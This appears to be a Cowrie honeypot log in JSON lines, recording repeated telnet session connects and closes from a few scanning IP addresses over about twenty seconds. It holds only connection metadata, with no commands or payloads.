{"eventid":"cowrie.session.closed","duration":31.85268259048462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:35.977238Z","src_ip":"104.167.8.156","session":"e04bb23ddaf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40946,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb599341ca7a","protocol":"telnet","message":"New connection: 104.167.8.156:40946 (10.17.0.5:23) [session: eb599341ca7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:36.017113Z"}
{"eventid":"cowrie.session.closed","duration":30.572831392288208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:36.257302Z","src_ip":"104.167.8.156","session":"2758ecda3df1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.787777185440063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:36.872183Z","src_ip":"104.167.8.156","session":"6a2bc9c09da8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44611,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c0b9532090b","protocol":"telnet","message":"New connection: 104.167.8.156:44611 (10.17.0.5:23) [session: 5c0b9532090b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:36.922862Z"}
{"eventid":"cowrie.session.closed","duration":30.653569221496582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:37.478093Z","src_ip":"104.167.8.156","session":"fde2dcbda398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43294,"dst_ip":"10.17.0.5","dst_port":23,"session":"16f0abda0f92","protocol":"telnet","message":"New connection: 188.208.141.113:43294 (10.17.0.5:23) [session: 16f0abda0f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:37.857537Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43300,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2aedf40f6ae","protocol":"telnet","message":"New connection: 188.208.141.113:43300 (10.17.0.5:23) [session: d2aedf40f6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:38.027019Z"}
{"eventid":"cowrie.session.closed","duration":31.24170422554016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:38.422397Z","src_ip":"104.167.8.156","session":"213080994c4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50954,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fe4788241a9","protocol":"telnet","message":"New connection: 104.167.8.156:50954 (10.17.0.5:23) [session: 2fe4788241a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:38.499800Z"}
{"eventid":"cowrie.session.closed","duration":30.987231969833374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:39.167311Z","src_ip":"104.167.8.156","session":"3436c7d08c87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00148105621338,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:39.318518Z","src_ip":"98.70.41.28","session":"1b1fcc3dbaff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.685966730117798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:39.446546Z","src_ip":"104.167.8.156","session":"e1813ee776b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51472,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc05446a5ea","protocol":"telnet","message":"New connection: 104.167.8.156:51472 (10.17.0.5:23) [session: 0bc05446a5ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:39.644911Z"}
{"eventid":"cowrie.session.closed","duration":30.17012333869934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:40.063622Z","src_ip":"104.167.8.156","session":"6bf069875b3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.251087427139282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:40.367773Z","src_ip":"104.167.8.156","session":"ada6b2161c05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43314,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8aa89e4c045","protocol":"telnet","message":"New connection: 188.208.141.113:43314 (10.17.0.5:23) [session: b8aa89e4c045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:40.579420Z"}
{"eventid":"cowrie.session.closed","duration":31.09542202949524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:40.960319Z","src_ip":"104.167.8.156","session":"56214b2716ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12187623977661,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:41.209368Z","src_ip":"104.167.8.156","session":"740c9d8ef527","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.057294130325317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:41.225993Z","src_ip":"104.167.8.156","session":"17d3116b1a6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.618669271469116,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:41.237026Z","src_ip":"104.167.8.156","session":"eef41508a0b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.061715841293335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:41.647753Z","src_ip":"104.167.8.156","session":"6fcce76b1250","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0010097026825,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:41.652526Z","src_ip":"98.70.41.28","session":"6034b49eb919","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51668,"dst_ip":"10.17.0.5","dst_port":23,"session":"e452ac4f2cc8","protocol":"telnet","message":"New connection: 104.167.8.156:51668 (10.17.0.5:23) [session: e452ac4f2cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:41.704580Z"}
{"eventid":"cowrie.session.closed","duration":31.521443843841553,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:42.982293Z","src_ip":"104.167.8.156","session":"145e97ca0623","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65754771232605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:43.299784Z","src_ip":"104.167.8.156","session":"616904e44778","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09305429458618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:43.358672Z","src_ip":"104.167.8.156","session":"9871be2729f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.179056406021118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:43.779291Z","src_ip":"104.167.8.156","session":"b79bc8213cda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73896098136902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:44.630629Z","src_ip":"104.167.8.156","session":"1f5d58403244","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50496006011963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:44.781764Z","src_ip":"104.167.8.156","session":"f89427f8ee74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8723361492157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:45.152736Z","src_ip":"104.167.8.156","session":"17adb967f448","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48280,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac50575430d1","protocol":"telnet","message":"New connection: 188.208.141.113:48280 (10.17.0.5:23) [session: ac50575430d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:45.349454Z"}
{"eventid":"cowrie.session.closed","duration":31.362393140792847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:45.484108Z","src_ip":"104.167.8.156","session":"05d61704dbca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51090,"dst_ip":"10.17.0.5","dst_port":23,"session":"be24ac70ccc5","protocol":"telnet","message":"New connection: 104.167.8.156:51090 (10.17.0.5:23) [session: be24ac70ccc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:45.808420Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48290,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba9551b6198e","protocol":"telnet","message":"New connection: 188.208.141.113:48290 (10.17.0.5:23) [session: ba9551b6198e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:46.076742Z"}
{"eventid":"cowrie.session.closed","duration":30.46263074874878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:46.098890Z","src_ip":"98.70.41.28","session":"80341718afdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.000579833984375,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:46.550554Z","src_ip":"188.208.141.113","session":"c9022a3d7969","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.040229320526123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:46.694207Z","src_ip":"104.167.8.156","session":"3d4315d9abd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43742,"dst_ip":"10.17.0.5","dst_port":23,"session":"68a995c0bb47","protocol":"telnet","message":"New connection: 104.167.8.156:43742 (10.17.0.5:23) [session: 68a995c0bb47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:46.872773Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55132,"dst_ip":"10.17.0.5","dst_port":23,"session":"caf52d4b6b10","protocol":"telnet","message":"New connection: 104.167.8.156:55132 (10.17.0.5:23) [session: caf52d4b6b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:46.894518Z"}
{"eventid":"cowrie.session.closed","duration":31.648387670516968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:46.898918Z","src_ip":"104.167.8.156","session":"94f1658cd25d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55978,"dst_ip":"10.17.0.5","dst_port":23,"session":"565576fb0ada","protocol":"telnet","message":"New connection: 104.167.8.156:55978 (10.17.0.5:23) [session: 565576fb0ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:47.113505Z"}
{"eventid":"cowrie.session.closed","duration":46.909695863723755,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:47.280402Z","src_ip":"188.208.141.113","session":"605820de61aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56748,"dst_ip":"10.17.0.5","dst_port":23,"session":"680404942e5a","protocol":"telnet","message":"New connection: 104.167.8.156:56748 (10.17.0.5:23) [session: 680404942e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:47.296580Z"}
{"eventid":"cowrie.session.closed","duration":34.28601431846619,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:47.346916Z","src_ip":"64.227.9.242","session":"722f94f25bfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858980417251587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:47.427437Z","src_ip":"104.167.8.156","session":"c966a52eb30c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.514628887176514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:47.471399Z","src_ip":"104.167.8.156","session":"f946393c2d70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.317894458770752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:47.479805Z","src_ip":"104.167.8.156","session":"fdeea4b2b1da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.263967037200928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:47.492998Z","src_ip":"104.167.8.156","session":"047b09489741","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.511603116989136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:47.527817Z","src_ip":"104.167.8.156","session":"f214ed7be7fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904893398284912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:48.308459Z","src_ip":"104.167.8.156","session":"5b336fb8ea0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.191117763519287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:48.788074Z","src_ip":"104.167.8.156","session":"b0f2da68bc57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35604,"dst_ip":"10.17.0.5","dst_port":23,"session":"71cc770d723f","protocol":"telnet","message":"New connection: 104.167.8.156:35604 (10.17.0.5:23) [session: 71cc770d723f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:49.179058Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35614,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc0f411368c","protocol":"telnet","message":"New connection: 104.167.8.156:35614 (10.17.0.5:23) [session: 0bc0f411368c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:49.184349Z"}
{"eventid":"cowrie.session.closed","duration":47.82532358169556,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:49.207477Z","src_ip":"188.208.141.113","session":"7737ef156564","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53198,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c0c38c3b02b","protocol":"telnet","message":"New connection: 104.167.8.156:53198 (10.17.0.5:23) [session: 7c0c38c3b02b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:49.377083Z"}
{"eventid":"cowrie.session.closed","duration":31.609017372131348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:50.011077Z","src_ip":"104.167.8.156","session":"6a3590b5d492","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.066341400146484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:50.050638Z","src_ip":"104.167.8.156","session":"f48266e11d2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.158321380615234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:50.094012Z","src_ip":"104.167.8.156","session":"0f692b5decd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71112322807312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:50.144553Z","src_ip":"104.167.8.156","session":"29fbfe3e8896","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39756,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4fd527911ec","protocol":"telnet","message":"New connection: 104.167.8.156:39756 (10.17.0.5:23) [session: c4fd527911ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:51.231316Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44768,"dst_ip":"10.17.0.5","dst_port":23,"session":"4da355a078fe","protocol":"telnet","message":"New connection: 104.167.8.156:44768 (10.17.0.5:23) [session: 4da355a078fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:51.451393Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45684,"dst_ip":"10.17.0.5","dst_port":23,"session":"89b2a9bec322","protocol":"telnet","message":"New connection: 104.167.8.156:45684 (10.17.0.5:23) [session: 89b2a9bec322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:51.644339Z"}
{"eventid":"cowrie.session.closed","duration":31.010899543762207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:52.030909Z","src_ip":"104.167.8.156","session":"c474951111b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.928184747695923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:52.103773Z","src_ip":"104.167.8.156","session":"f7be49571286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84491515159607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:52.491940Z","src_ip":"104.167.8.156","session":"07bfcfe67463","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.279972076416016,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:52.551330Z","src_ip":"188.208.141.113","session":"7386d70e5a00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50268,"dst_ip":"10.17.0.5","dst_port":23,"session":"931817a66baa","protocol":"telnet","message":"New connection: 104.167.8.156:50268 (10.17.0.5:23) [session: 931817a66baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:52.783797Z"}
{"eventid":"cowrie.session.closed","duration":30.659414529800415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:53.278352Z","src_ip":"104.167.8.156","session":"210c648c6a23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00163197517395,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:53.563638Z","src_ip":"102.90.126.209","session":"1f7b91df0c20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49914,"dst_ip":"10.17.0.5","dst_port":23,"session":"39ab8cf3050c","protocol":"telnet","message":"New connection: 104.167.8.156:49914 (10.17.0.5:23) [session: 39ab8cf3050c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:53.727341Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55226,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a9d91f5a638","protocol":"telnet","message":"New connection: 104.167.8.156:55226 (10.17.0.5:23) [session: 0a9d91f5a638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:53.973126Z"}
{"eventid":"cowrie.session.closed","duration":30.862804889678955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:54.022434Z","src_ip":"104.167.8.156","session":"9d14c9ab4cc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8769588470459,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:54.204175Z","src_ip":"104.167.8.156","session":"e474e72da888","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56528,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa15ccddd876","protocol":"telnet","message":"New connection: 104.167.8.156:56528 (10.17.0.5:23) [session: fa15ccddd876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:54.284297Z"}
{"eventid":"cowrie.session.closed","duration":31.356140851974487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:55.018634Z","src_ip":"104.167.8.156","session":"65ab6d058a96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83760094642639,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:55.322240Z","src_ip":"104.167.8.156","session":"24791e4b9c50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58550,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee313e70ce8c","protocol":"telnet","message":"New connection: 64.227.9.242:58550 (159.203.135.109:23) [session: ee313e70ce8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:55.519086Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49574,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9a1c08a6090","protocol":"telnet","message":"New connection: 104.167.8.156:49574 (10.17.0.5:23) [session: f9a1c08a6090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:55.649231Z"}
{"eventid":"cowrie.session.closed","duration":30.83038091659546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:56.027225Z","src_ip":"104.167.8.156","session":"c1c613b924be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.011460065841675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:56.176382Z","src_ip":"104.167.8.156","session":"8e6d398340c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8073513507843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:56.239767Z","src_ip":"104.167.8.156","session":"211f0659c9b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36972,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ba8f4b97b7a","protocol":"telnet","message":"New connection: 104.167.8.156:36972 (10.17.0.5:23) [session: 1ba8f4b97b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:56.507054Z"}
{"eventid":"cowrie.session.closed","duration":30.235544681549072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:57.137624Z","src_ip":"104.167.8.156","session":"5b6e51f01cf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58036,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae84d9055919","protocol":"telnet","message":"New connection: 188.208.141.113:58036 (10.17.0.5:23) [session: ae84d9055919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:57.500468Z"}
